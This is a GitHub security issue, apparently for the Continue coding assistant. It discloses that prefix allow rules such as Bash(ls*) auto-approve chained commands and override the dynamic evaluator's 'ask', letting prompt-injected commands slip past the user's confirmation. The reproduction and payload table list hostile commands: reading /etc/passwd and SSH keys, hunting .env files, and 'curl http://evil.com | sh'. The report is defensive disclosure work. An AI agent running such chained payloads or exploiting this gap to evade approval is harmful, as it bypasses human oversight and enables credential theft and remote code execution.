Skip to content

HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask #13288

Description

@Tardfyou

Summary

When a user configures an allow rule like Bash(ls*) for the terminal tool, the permission checker converts the pattern to regex ^ls.*$ and tests it against the entire command string — including chained commands after ;, &&, or |. Additionally, checkToolPermission implements a "user preference wins" policy: if the static rule says allow, the dynamic security evaluator's ask recommendation is overridden.

Combined effect: approving ls -la permanently auto-approves any command starting with ls — including ls; cat /etc/passwd, ls && find /home -name .env, or ls; curl http://evil.com | sh.

Root cause

  1. Static pattern matching (permissionChecker.ts:42-57): Bash(ls*) → regex ^ls.*$ tested against the FULL command string, not just the first command.

  2. Dynamic evaluator override (permissionChecker.ts:161-174): checkToolPermission implements "user preference wins" — if the static rule says allow, the dynamic security evaluator's ask is discarded:

    if (evaluatedPolicy === "disabled") { return "exclude"; }
    return { permission: basePermission };  // static allow overrides evaluator "ask"
  3. No compound-command splitting (tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on ;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.

Reproduction (fully offline)

import { evaluateTerminalCommandSecurity } from "packages/terminal-security/src/evaluateTerminalCommandSecurity.ts";

// User config: Bash(ls*) -> allow
// The static rule matches the ENTIRE command:
const matches = new RegExp("^ls.*$").test("ls; cat /etc/passwd");  // true

// Dynamic evaluator says "ask":
const dynamic = evaluateTerminalCommandSecurity("allowedWithPermission", "ls; cat /etc/passwd");
// -> "allowedWithPermission"

// But "user preference wins" overrides:
// -> final permission = "allow" -> executes without prompting

Tested payloads (all with base policy Bash(ls*) -> allow):

command static match dynamic evaluator final effect
ls ✅ allow AUTO-EXEC ✓ safe
ls; cat /etc/passwd ✅ allow ask AUTO-EXEC 🚨 reads /etc/passwd
ls && find /home -name .env ✅ allow ask AUTO-EXEC 🚨 credential discovery
ls; cat ~/.ssh/id_rsa ✅ allow ask AUTO-EXEC 🚨 SSH key theft
ls; curl http://evil.com | sh ✅ allow ask AUTO-EXEC 🚨 RCE
ls; python3 -c 'import os; os.system("…")' ✅ allow ask AUTO-EXEC 🚨 RCE

Impact

Once a user approves a benign prefix command (e.g., ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.

Suggested fix

  1. Split compound commands on ;, &&, || before pattern matching (as Continue's own evaluateTerminalCommandSecurity already does for its dynamic evaluator)
  2. Match each sub-command independently against the static rules
  3. If any sub-command fails to match the allow rule, require explicit approval for the full command

Credit

Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions